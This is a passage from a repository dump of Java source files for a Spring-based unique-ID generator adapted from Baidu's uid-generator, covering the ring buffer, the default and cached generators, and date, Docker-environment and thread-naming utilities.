RuntimeException(\"Rejected take buffer. \" + ringBuffer);\n    }\n    \n    /**\n     * Initialize flags as CAN_PUT_FLAG\n     */\n    private PaddedAtomicLong[] initFlags(int bufferSize) {\n        PaddedAtomicLong[] flags = new PaddedAtomicLong[bufferSize];\n        for (int i = 0; i < bufferSize; i++) {\n            flags[i] = new PaddedAtomicLong(CAN_PUT_FLAG);\n        }\n        \n        return flags;\n    }\n\n    /**\n     * Getters\n     */\n    public long getTail() {\n        return tail.get();\n    }\n\n    public long getCursor() {\n        return cursor.get();\n    }\n\n    public int getBufferSize() {\n        return bufferSize;\n    }\n\n    /**\n     * Setters\n     */\n    public void setBufferPaddingExecutor(BufferPaddingExecutor bufferPaddingExecutor) {\n        this.bufferPaddingExecutor = bufferPaddingExecutor;\n    }\n\n    public void setRejectedPutHandler(RejectedPutBufferHandler rejectedPutHandler) {\n        this.rejectedPutHandler = rejectedPutHandler;\n    }\n\n    public void setRejectedTakeHandler(RejectedTakeBufferHandler rejectedTakeHandler) {\n        this.rejectedTakeHandler = rejectedTakeHandler;\n    }\n\n    @Override\n    public String toString() {\n        StringBuilder builder = new StringBuilder();\n        builder.append(\"RingBuffer [bufferSize=\").append(bufferSize)\n               .append(\", tail=\").append(tail)\n               .append(\", cursor=\").append(cursor)\n               .append(\", paddingThreshold=\").append(paddingThreshold).append(\"]\");\n        \n        return builder.toString();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/exception/UidGenerateException.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.exception;\n\n/**\n * UidGenerateException\n * \n * @author yutianbao\n */\npublic class UidGenerateException extends RuntimeException {\n\n    /**\n     * Serial Version UID\n     */\n    private static final long serialVersionUID = -27048199131316992L;\n\n    /**\n     * Default constructor\n     */\n    public UidGenerateException() {\n        super();\n    }\n\n    /**\n     * Constructor with message & cause\n     * \n     * @param message\n     * @param cause\n     */\n    public UidGenerateException(String message, Throwable cause) {\n        super(message, cause);\n    }\n\n    /**\n     * Constructor with message\n     * \n     * @param message\n     */\n    public UidGenerateException(String message) {\n        super(message);\n    }\n    \n    /**\n     * Constructor with message format\n     * \n     * @param msgFormat\n     * @param args\n     */\n    public UidGenerateException(String msgFormat, Object... args) {\n        super(String.format(msgFormat, args));\n    }\n\n    /**\n     * Constructor with cause\n     * \n     * @param cause\n     */\n    public UidGenerateException(Throwable cause) {\n        super(cause);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/impl/CachedUidGenerator.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.impl;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.DisposableBean;\nimport org.springframework.util.Assert;\n\nimport com.myzmds.ecp.core.uid.baidu.BitsAllocator;\nimport com.myzmds.ecp.core.uid.baidu.UidGenerator;\nimport com.myzmds.ecp.core.uid.baidu.buffer.BufferPaddingExecutor;\nimport com.myzmds.ecp.core.uid.baidu.buffer.BufferedUidProvider;\nimport com.myzmds.ecp.core.uid.baidu.buffer.RejectedPutBufferHandler;\nimport com.myzmds.ecp.core.uid.baidu.buffer.RejectedTakeBufferHandler;\nimport com.myzmds.ecp.core.uid.baidu.buffer.RingBuffer;\nimport com.myzmds.ecp.core.uid.baidu.exception.UidGenerateException;\n\n/**\n * Represents a cached implementation of {@link UidGenerator} extends\n * from {@link DefaultUidGenerator}, based on a lock free {@link RingBuffer}<p>\n * \n * The spring properties you can specified as below:<br>\n * <li><b>boostPower:</b> RingBuffer size boost for a power of 2, Sample: boostPower is 3, it means the buffer size \n *                        will be <code>({@link BitsAllocator#getMaxSequence()} + 1) &lt;&lt;\n *                        {@link #boostPower}</code>, Default as {@value #DEFAULT_BOOST_POWER}\n * <li><b>paddingFactor:</b> Represents a percent value of (0 - 100). When the count of rest available UIDs reach the \n *                           threshold, it will trigger padding buffer. Default as{@link RingBuffer#DEFAULT_PADDING_PERCENT}\n *                           Sample: paddingFactor=20, bufferSize=1000 -> threshold=1000 * 20 /100, padding buffer will be triggered when tail-cursor<threshold\n * <li><b>scheduleInterval:</b> Padding buffer in a schedule, specify padding buffer interval, Unit as second\n * <li><b>rejectedPutBufferHandler:</b> Policy for rejected put buffer. Default as discard put request, just do logging\n * <li><b>rejectedTakeBufferHandler:</b> Policy for rejected take buffer. Default as throwing up an exception\n * \n * @author yutianbao\n */\npublic class CachedUidGenerator extends DefaultUidGenerator implements DisposableBean {\n    private static final Logger LOGGER = LoggerFactory.getLogger(CachedUidGenerator.class);\n    private static final int DEFAULT_BOOST_POWER = 3;\n\n    /** Spring properties */\n    private int boostPower = DEFAULT_BOOST_POWER;\n    private int paddingFactor = RingBuffer.DEFAULT_PADDING_PERCENT;\n    private Long scheduleInterval;\n    \n    private RejectedPutBufferHandler rejectedPutBufferHandler;\n    private RejectedTakeBufferHandler rejectedTakeBufferHandler;\n\n    /** RingBuffer */\n    private RingBuffer ringBuffer;\n    private BufferPaddingExecutor bufferPaddingExecutor;\n\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        // initialize workerId & bitsAllocator\n        super.afterPropertiesSet();\n        \n        // initialize RingBuffer & RingBufferPaddingExecutor\n        this.initRingBuffer();\n        LOGGER.info(\"Initialized RingBuffer successfully.\");\n    }\n    \n    @Override\n    public long getUID() {\n        try {\n            return ringBuffer.take();\n        } catch (Exception e) {\n            LOGGER.error(\"Generate unique id exception. \", e);\n            throw new UidGenerateException(e);\n        }\n    }\n\n    @Override\n    public String parseUID(long uid) {\n        return super.parseUID(uid);\n    }\n    \n    @Override\n    public void destroy() throws Exception {\n        bufferPaddingExecutor.shutdown();\n    }\n\n    /**\n     * Get the UIDs in the same specified second under the max sequence\n     * \n     * @param currentSecond\n     * @return UID list, size of {@link BitsAllocator#getMaxSequence()} + 1\n     */\n    protected List<Long> nextIdsForOneSecond(long currentSecond) {\n        // Initialize result list size of (max sequence + 1)\n        int listSize = (int) bitsAllocator.getMaxSequence() + 1;\n        List<Long> uidList = new ArrayList<>(listSize);\n\n        // Allocate the first sequence of the second, the others can be calculated with the offset\n        long firstSeqUid = bitsAllocator.allocate(currentSecond - epochSeconds, workerId, 0L);\n        for (int offset = 0; offset < listSize; offset++) {\n            uidList.add(firstSeqUid + offset);\n        }\n\n        return uidList;\n    }\n    \n    /**\n     * Initialize RingBuffer & RingBufferPaddingExecutor\n     */\n    private void initRingBuffer() {\n        // initialize RingBuffer\n        int bufferSize = ((int) bitsAllocator.getMaxSequence() + 1) << boostPower;\n        this.ringBuffer = new RingBuffer(bufferSize, paddingFactor);\n        LOGGER.info(\"Initialized ring buffer size:{}, paddingFactor:{}\", bufferSize, paddingFactor);\n\n        // initialize RingBufferPaddingExecutor\n        boolean usingSchedule = (scheduleInterval != null);\n        this.bufferPaddingExecutor = new BufferPaddingExecutor(ringBuffer, new BufferedUidProvider() {\n            @Override\n            public List<Long> provide(long momentInSecond) {\n                return nextIdsForOneSecond(momentInSecond);\n            }\n        }, usingSchedule);\n        if (usingSchedule) {\n            bufferPaddingExecutor.setScheduleInterval(scheduleInterval);\n        }\n        \n        LOGGER.info(\"Initialized BufferPaddingExecutor. Using schdule:{}, interval:{}\", usingSchedule, scheduleInterval);\n        \n        // set rejected put/take handle policy\n        this.ringBuffer.setBufferPaddingExecutor(bufferPaddingExecutor);\n        if (rejectedPutBufferHandler != null) {\n            this.ringBuffer.setRejectedPutHandler(rejectedPutBufferHandler);\n        }\n        if (rejectedTakeBufferHandler != null) {\n            this.ringBuffer.setRejectedTakeHandler(rejectedTakeBufferHandler);\n        }\n        \n        // fill in all slots of the RingBuffer\n        bufferPaddingExecutor.paddingBuffer();\n        \n        // start buffer padding threads\n        bufferPaddingExecutor.start();\n    }\n\n    /**\n     * Setters for spring property\n     */\n    public void setBoostPower(int boostPower) {\n        Assert.isTrue(boostPower > 0, \"Boost power must be positive!\");\n        this.boostPower = boostPower;\n    }\n    \n    public void setRejectedPutBufferHandler(RejectedPutBufferHandler rejectedPutBufferHandler) {\n        Assert.notNull(rejectedPutBufferHandler, \"RejectedPutBufferHandler can't be null!\");\n        this.rejectedPutBufferHandler = rejectedPutBufferHandler;\n    }\n\n    public void setRejectedTakeBufferHandler(RejectedTakeBufferHandler rejectedTakeBufferHandler) {\n        Assert.notNull(rejectedTakeBufferHandler, \"RejectedTakeBufferHandler can't be null!\");\n        this.rejectedTakeBufferHandler = rejectedTakeBufferHandler;\n    }\n\n    public void setScheduleInterval(long scheduleInterval) {\n        Assert.isTrue(scheduleInterval > 0, \"Schedule interval must positive!\");\n        this.scheduleInterval = scheduleInterval;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/impl/DefaultUidGenerator.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.impl;\n\nimport java.util.Date;\nimport java.util.concurrent.TimeUnit;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.util.StringUtils;\n\nimport com.myzmds.ecp.core.uid.baidu.BitsAllocator;\nimport com.myzmds.ecp.core.uid.baidu.UidGenerator;\nimport com.myzmds.ecp.core.uid.baidu.exception.UidGenerateException;\nimport com.myzmds.ecp.core.uid.baidu.utils.DateUtils;\nimport com.myzmds.ecp.core.uid.worker.WorkerIdAssigner;\n\n/**\n * Represents an implementation of {@link UidGenerator}\n *\n * The unique id has 64bits (long), default allocated as blow:<br>\n * <li>sign: The highest bit is 0\n * <li>delta seconds: The next 28 bits, represents delta seconds since a customer epoch(2016-05-20 00:00:00.000).\n *                    Supports about 8.7 years until to 2024-11-20 21:24:16\n * <li>worker id: The next 22 bits, represents the worker's id which assigns based on database, max id is about 420W\n * <li>sequence: The next 13 bits, represents a sequence within the same second, max for 8192/s<br><br>\n *\n * The {@link DefaultUidGenerator#parseUID(long)} is a tool method to parse the bits\n *\n * <pre>{@code\n * +------+----------------------+----------------+-----------+\n * | sign |     delta seconds    | worker node id | sequence  |\n * +------+----------------------+----------------+-----------+\n *   1bit          28bits              22bits         13bits\n * }</pre>\n *\n * You can also specified the bits by Spring property setting.\n * <li>timeBits: default as 28\n * <li>workerBits: default as 22\n * <li>seqBits: default as 13\n * <li>epochStr: Epoch date string format 'yyyy-MM-dd'. Default as '2016-05-20'<p>\n *\n * <b>Note that:</b> The total bits must be 64 -1\n *\n * @author yutianbao\n */\npublic class DefaultUidGenerator implements UidGenerator, InitializingBean {\n    private static final Logger LOGGER = LoggerFactory.getLogger(DefaultUidGenerator.class);\n\n    /** Bits allocate */\n    protected int timeBits = 28;\n    protected int workerBits = 22;\n    protected int seqBits = 13;\n\n    /** Customer epoch, unit as second. For example 2016-05-20 (ms: 1463673600000)*/\n    protected String epochStr = \"2016-05-20\";\n    protected long epochSeconds = TimeUnit.MILLISECONDS.toSeconds(1463673600000L);\n\n    /** Stable fields after spring bean initializing */\n    protected BitsAllocator bitsAllocator;\n    protected long workerId;\n\n    /** Volatile fields caused by nextId() */\n    protected long sequence = 0L;\n    protected long lastSecond = -1L;\n\n    /** Spring property */\n    protected WorkerIdAssigner workerIdAssigner;\n\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        // initialize bits allocator\n        bitsAllocator = new BitsAllocator(timeBits, workerBits, seqBits);\n\n        // initialize worker id\n        workerId = workerIdAssigner.assignWorkerId();\n        if (workerId > bitsAllocator.getMaxWorkerId()) {\n            throw new RuntimeException(\"Worker id \" + workerId + \" exceeds the max \" + bitsAllocator.getMaxWorkerId());\n        }\n\n        LOGGER.info(\"Initialized bits(1, {}, {}, {}) for workerID:{}\", timeBits, workerBits, seqBits, workerId);\n    }\n\n    @Override\n    public long getUID() throws UidGenerateException {\n        try {\n            return nextId();\n        } catch (Exception e) {\n            LOGGER.error(\"Generate unique id exception. \", e);\n            throw new UidGenerateException(e);\n        }\n    }\n\n    @Override\n    public String parseUID(long uid) {\n        long totalBits = BitsAllocator.TOTAL_BITS;\n        long signBits = bitsAllocator.getSignBits();\n        long timestampBits = bitsAllocator.getTimestampBits();\n        long workerIdBits = bitsAllocator.getWorkerIdBits();\n        long sequenceBits = bitsAllocator.getSequenceBits();\n\n        // parse UID\n        long sequence = (uid << (totalBits - sequenceBits)) >>> (totalBits - sequenceBits);\n        long workerId = (uid << (timestampBits + signBits)) >>> (totalBits - workerIdBits);\n        long deltaSeconds = uid >>> (workerIdBits + sequenceBits);\n\n        Date thatTime = new Date(TimeUnit.SECONDS.toMillis(epochSeconds + deltaSeconds));\n        String thatTimeStr = DateUtils.formatByDateTimePattern(thatTime);\n\n        // format as string\n        return String.format(\"{\\\"UID\\\":\\\"%d\\\",\\\"timestamp\\\":\\\"%s\\\",\\\"workerId\\\":\\\"%d\\\",\\\"sequence\\\":\\\"%d\\\"}\",\n                uid, thatTimeStr, workerId, sequence);\n    }\n\n    /**\n     * Get UID\n     *\n     * @return UID\n     * @throws UidGenerateException in the case: Clock moved backwards; Exceeds the max timestamp\n     */\n    protected synchronized long nextId() {\n        long currentSecond = getCurrentSecond();\n\n        // Clock moved backwards, refuse to generate uid\n        if (currentSecond < lastSecond) {\n            long refusedSeconds = lastSecond - currentSecond;\n            throw new UidGenerateException(\"Clock moved backwards. Refusing for %d seconds\", refusedSeconds);\n        }\n\n        // At the same second, increase sequence\n        if (currentSecond == lastSecond) {\n            sequence = (sequence + 1) & bitsAllocator.getMaxSequence();\n            // Exceed the max sequence, we wait the next second to generate uid\n            if (sequence == 0) {\n                currentSecond = getNextSecond(lastSecond);\n            }\n\n        // At the different second, sequence restart from zero\n        } else {\n            sequence = 0L;\n        }\n\n        lastSecond = currentSecond;\n\n        // Allocate bits for UID\n        return bitsAllocator.allocate(currentSecond - epochSeconds, workerId, sequence);\n    }\n\n    /**\n     * Get next millisecond\n     */\n    private long getNextSecond(long lastTimestamp) {\n        long timestamp = getCurrentSecond();\n        while (timestamp <= lastTimestamp) {\n            timestamp = getCurrentSecond();\n        }\n\n        return timestamp;\n    }\n\n    /**\n     * Get current second\n     */\n    private long getCurrentSecond() {\n        long currentSecond = TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis());\n        if (currentSecond - epochSeconds > bitsAllocator.getMaxDeltaSeconds()) {\n            throw new UidGenerateException(\"Timestamp bits is exhausted. Refusing UID generate. Now: \" + currentSecond);\n        }\n\n        return currentSecond;\n    }\n\n    /**\n     * Setters for spring property\n     */\n    public void setWorkerIdAssigner(WorkerIdAssigner workerIdAssigner) {\n        this.workerIdAssigner = workerIdAssigner;\n    }\n\n    public void setTimeBits(int timeBits) {\n        if (timeBits > 0) {\n            this.timeBits = timeBits;\n        }\n    }\n\n    public void setWorkerBits(int workerBits) {\n        if (workerBits > 0) {\n            this.workerBits = workerBits;\n        }\n    }\n\n    public void setSeqBits(int seqBits) {\n        if (seqBits > 0) {\n            this.seqBits = seqBits;\n        }\n    }\n\n    public void setEpochStr(String epochStr) {\n        if (!StringUtils.isEmpty(epochStr)) {\n            this.epochStr = epochStr;\n            this.epochSeconds = TimeUnit.MILLISECONDS.toSeconds(DateUtils.parseByDayPattern(epochStr).getTime());\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/package-info.java",
    "content": "\n/**\n * github地址为https://github.com/baidu/uid-generator\n * \n */\npackage com.myzmds.ecp.core.uid.baidu;"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/utils/DateUtils.java",
    "content": "package com.myzmds.ecp.core.uid.baidu.utils;\n\nimport java.text.DateFormat;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * @ DateUtils.java\n * @ <pre>ʱ丨(SimpleDateFormat̲߳ȫģ˾̬)</pre>\n * linhuaichuan1989@126.com\n * @ʱ 201978 11:15:29\n * @汾 1.0.0\n *\n * @޸ļ¼\n * <pre>\n *     汾                       ޸ \t\t޸ \t\t ޸\n *     ----------------------------------------------\n *     1.0.0 \t \t201978             \n *     ----------------------------------------------\n * </pre>\n */\npublic class DateUtils {\n    /**\n     * -ʽ\n     */\n    public static final String DAY_PATTERN = \"yyyy-MM-dd\";\n    \n    /**\n     * ʱ-ʽ\n     */\n    public static final String DATETIME_PATTERN = \"yyyy-MM-dd HH:mm:ss\";\n    \n    /**\n     * ʱ()-ʽ\n     */\n    public static final String DATETIME_MS_PATTERN = \"yyyy-MM-dd HH:mm:ss.SSS\";\n    \n    /**\n     * df\n     */\n    private static ThreadLocal<Map<String, DateFormat>> dfMap = new ThreadLocal<Map<String, DateFormat>>() {\n        @Override\n        protected Map<String, DateFormat> initialValue() {\n            return new HashMap<String, DateFormat>(10);\n        }\n    };\n    \n    /**\n     * @ getDateFormat\n     * @ <pre>һDateFormat,ÿֻ߳newһpatternӦsdf</pre>\n     * @param pattern ʽ ʽ\n     * @return DateFormat\n     */\n    private static DateFormat getDateFormat(final String pattern) {\n        Map<String, DateFormat> tl = dfMap.get();\n        DateFormat df = tl.get(pattern);\n        if (df == null) {\n            df = new SimpleDateFormat(pattern);\n            tl.put(pattern, df);\n        }\n        return df;\n    }\n    \n    /**\n     * @ formatByDateTimePattern\n     * @ <pre>ȡ'yyyy-MM-dd HH:mm:ss'ʽʱַ</pre>\n     * @param date ʱ\n     * @return ʱַ\n     */\n    public static String formatByDateTimePattern(Date date) {\n        return getDateFormat(DATETIME_PATTERN).format(date);\n    }\n    \n    /**\n     * @ parseByDayPattern\n     * @ <pre>'yyyy-MM-dd'ʽʱ</pre>\n     * @param str ʱַ\n     * @return ʱ\n     */\n    public static Date parseByDayPattern(String str) {\n        return parseDate(str, DAY_PATTERN);\n    }\n    \n    /**\n     * @ parseDate\n     * @ <pre>ָʽʱ</pre>\n     * @param str ʱַ\n     * @param pattern ʽʽ\n     * @return ʱ\n     */\n    public static Date parseDate(String str, String pattern) {\n        try {\n            return getDateFormat(pattern).parse(str);\n        } catch (ParseException e) {\n            throw new RuntimeException(e);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/utils/DockerUtils.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.utils;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.util.StringUtils;\n\n/**\n * DockerUtils\n * \n * @author yutianbao\n */\npublic class DockerUtils {\n    private static final Logger LOGGER = LoggerFactory.getLogger(DockerUtils.class);\n\n    /** Environment param keys */\n    private static final String ENV_KEY_HOST = \"JPAAS_HOST\";\n    private static final String ENV_KEY_PORT = \"JPAAS_HTTP_PORT\";\n    private static final String ENV_KEY_PORT_ORIGINAL = \"JPAAS_HOST_PORT_8080\";\n\n    /** Docker host & port */\n    private static String DOCKER_HOST = \"\";\n    private static String DOCKER_PORT = \"\";\n\n    /** Whether is docker */\n    private static boolean IS_DOCKER;\n\n    static {\n        retrieveFromEnv();\n    }\n\n    /**\n     * Retrieve docker host\n     * \n     * @return empty string if not a docker\n     */\n    public static String getDockerHost() {\n        return DOCKER_HOST;\n    }\n\n    /**\n     * Retrieve docker port\n     * \n     * @return empty string if not a docker\n     */\n    public static String getDockerPort() {\n        return DOCKER_PORT;\n    }\n\n    /**\n     * Whether a docker\n     * \n     * @return\n     */\n    public static boolean isDocker() {\n        return IS_DOCKER;\n    }\n\n    /**\n     * Retrieve host & port from environment\n     */\n    private static void retrieveFromEnv() {\n        // retrieve host & port from environment\n        DOCKER_HOST = System.getenv(ENV_KEY_HOST);\n        DOCKER_PORT = System.getenv(ENV_KEY_PORT);\n\n        // not found from 'JPAAS_HTTP_PORT', then try to find from 'JPAAS_HOST_PORT_8080'\n        if (StringUtils.isEmpty(DOCKER_PORT)) {\n            DOCKER_PORT = System.getenv(ENV_KEY_PORT_ORIGINAL);\n        }\n\n        boolean hasEnvHost = !StringUtils.isEmpty(DOCKER_HOST);\n        boolean hasEnvPort = !StringUtils.isEmpty(DOCKER_PORT);\n\n        // docker can find both host & port from environment\n        if (hasEnvHost && hasEnvPort) {\n            IS_DOCKER = true;\n\n            // found nothing means not a docker, maybe an actual machine\n        } else if (!hasEnvHost && !hasEnvPort) {\n            IS_DOCKER = false;\n\n        } else {\n            LOGGER.error(\"Missing host or port from env for Docker. host:{}, port:{}\", DOCKER_HOST, DOCKER_PORT);\n            throw new RuntimeException(\n                    \"Missing host or port from env for Docker. host:\" + DOCKER_HOST + \", port:\" + DOCKER_PORT);\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/utils/EnumUtils.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.utils;\n\nimport org.springframework.util.Assert;\n\n/**\n * EnumUtils provides the operations for {@link ValuedEnum} such as Parse, value of...\n * \n * @author yutianbao\n */\npublic class EnumUtils {\n\n    /**\n     * Parse the bounded value into ValuedEnum\n     * \n     * @param clz\n     * @param value\n     * @return\n     */\n    public static <T extends ValuedEnum<V>, V> T parse(Class<T> clz, V value) {\n        Assert.notNull(clz, \"clz can not be null\");\n        if (value == null) {\n            return null;\n        }\n\n        for (T t : clz.getEnumConstants()) {\n            if (value.equals(t.value())) {\n                return t;\n            }\n        }\n        return null;\n    }\n\n    /**\n     * Null-safe valueOf function\n     * \n     * @param <T>\n     * @param enumType\n     * @param name\n     * @return\n     */\n    public static <T extends Enum<T>> T valueOf(Class<T> enumType, String name) {\n        if (name == null) {\n            return null;\n        }\n\n        return Enum.valueOf(enumType, name);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/utils/NamingThreadFactory.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.utils;\n\nimport java.lang.Thread.UncaughtExceptionHandler;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.util.ClassUtils;\nimport org.springframework.util.StringUtils;\n\n/**\n * Named thread in ThreadFactory. If there is no specified name for thread, it\n * will auto detect using the invoker classname instead.\n * \n * @author yutianbao\n */\npublic class NamingThreadFactory implements ThreadFactory {\n    private static final Logger LOGGER = LoggerFactory.getLogger(NamingThreadFactory.class);\n\n    /**\n     * Thread name pre\n     */\n    private String name;\n    /**\n     * Is daemon thread\n     */\n    private boolean daemon;\n    /**\n     * UncaughtExceptionHandler\n     */\n    private UncaughtExceptionHandler uncaughtExceptionHandler;\n    /**\n     * Sequences for multi thread name prefix\n     */\n    private final ConcurrentHashMap<String, AtomicLong> sequences;\n\n    /**\n     * Constructors\n     */\n    public NamingThreadFactory() {\n        this(null, false, null);\n    }\n\n    public NamingThreadFactory(String name) {\n        this(name, false, null);\n    }\n\n    public NamingThreadFactory(String name, boolean daemon) {\n        this(name, daemon, null);\n    }\n\n    public NamingThreadFactory(String name, boolean daemon, UncaughtExceptionHandler handler) {\n        this.name = name;\n        this.daemon = daemon;\n        this.uncaughtExceptionHandler = handler;\n        this.sequences = new ConcurrentHashMap<String, AtomicLong>();\n    }\n\n    @Override\n    public Thread newThread(Runnable r) {\n        Thread thread = new Thread(r);\n        thread.setDaemon(this.daemon);\n\n        // If there is no specified name for thread, it will auto detect using the invoker classname instead.\n        // Notice that auto detect may cause some performance overhead\n        String prefix = this.name;\n        if (StringUtils.isEmpty(prefix)) {\n            prefix = getInvoker(2);\n        }\n        thread.setName(prefix + \"-\" + getSequence(prefix));\n\n        // no specified uncaughtExceptionHandler, just do logging.\n        if (this.uncaughtExceptionHandler != null) {\n            thread.setUncaughtExceptionHandler(this.uncaughtExceptionHandler);\n        } else {\n            thread.setUncaughtExceptionHandler(new UncaughtExceptionHandler() {\n                @Override\n                public void uncaughtException(Thread t, Throwable e) {\n                    LOGGER.error(\"unhandled exception in thread: \" + t.getId() + \":\" + t.getName(), e);\n                }\n            });\n        }\n\n        return thread;\n    }\n\n    /**\n     * Get the method invoker's class name\n     * \n     * @param depth\n     * @return\n     */\n    private String getInvoker(int depth) {\n        Exception e = new Exception();\n        StackTraceElement[] stes = e.getStackTrace();\n        if (stes.length > depth) {\n            return ClassUtils.getShortName(stes[depth].getClassName());\n        }\n        return getClass().getSimpleName();\n    }\n\n    /**\n     * Get sequence for different naming prefix\n     * \n     * @param invoker\n     * @return\n     */\n    private long getSequence(String invoker) {\n        AtomicLong r = this.sequences.get(invoker);\n        if (r == null) {\n            r = new AtomicLong(0);\n            AtomicLong previous = this.sequences.putIfAbsent(invoker, r);\n            if (previous != null) {\n                r = previous;\n            }\n        }\n\n        return r.incrementAndGet();\n    }\n\n    /**\n     * Getters & Setters\n     */\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public boolean isDaemon() {\n        return daemon;\n    }\n\n    public void setDaemon(boolean daemon) {\n        this.daemon = daemon;\n    }\n\n    public UncaughtExceptionHandler getUncaughtExceptionHandler() {\n        return uncaughtExceptionHandler;\n    }\n\n    public void setUncaughtExceptionHandler(UncaughtExceptionHandler handler) {\n        this.uncaughtExceptionHandler = handler;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/utils/PaddedAtomicLong.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.utils;\n\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * Represents a padded {@link AtomicLong} to prevent the FalseSharing problem<p>\n * \n * The CPU cache line commonly be 64 bytes, here is a sample of cache line after padding:<br>\n * 64 bytes = 8 bytes (object reference) + 6 * 8 bytes (padded long) + 8 bytes (a long value)\n * \n * @author yutianbao\n */\npublic class PaddedAtomicLong extends AtomicLong {\n    private static final long serialVersionUID = -3415778863941386253L;\n\n    /** Padded 6 long (48 bytes) */\n    public volatile long p1, p2, p3, p4, p5, p6 = 7L;\n\n    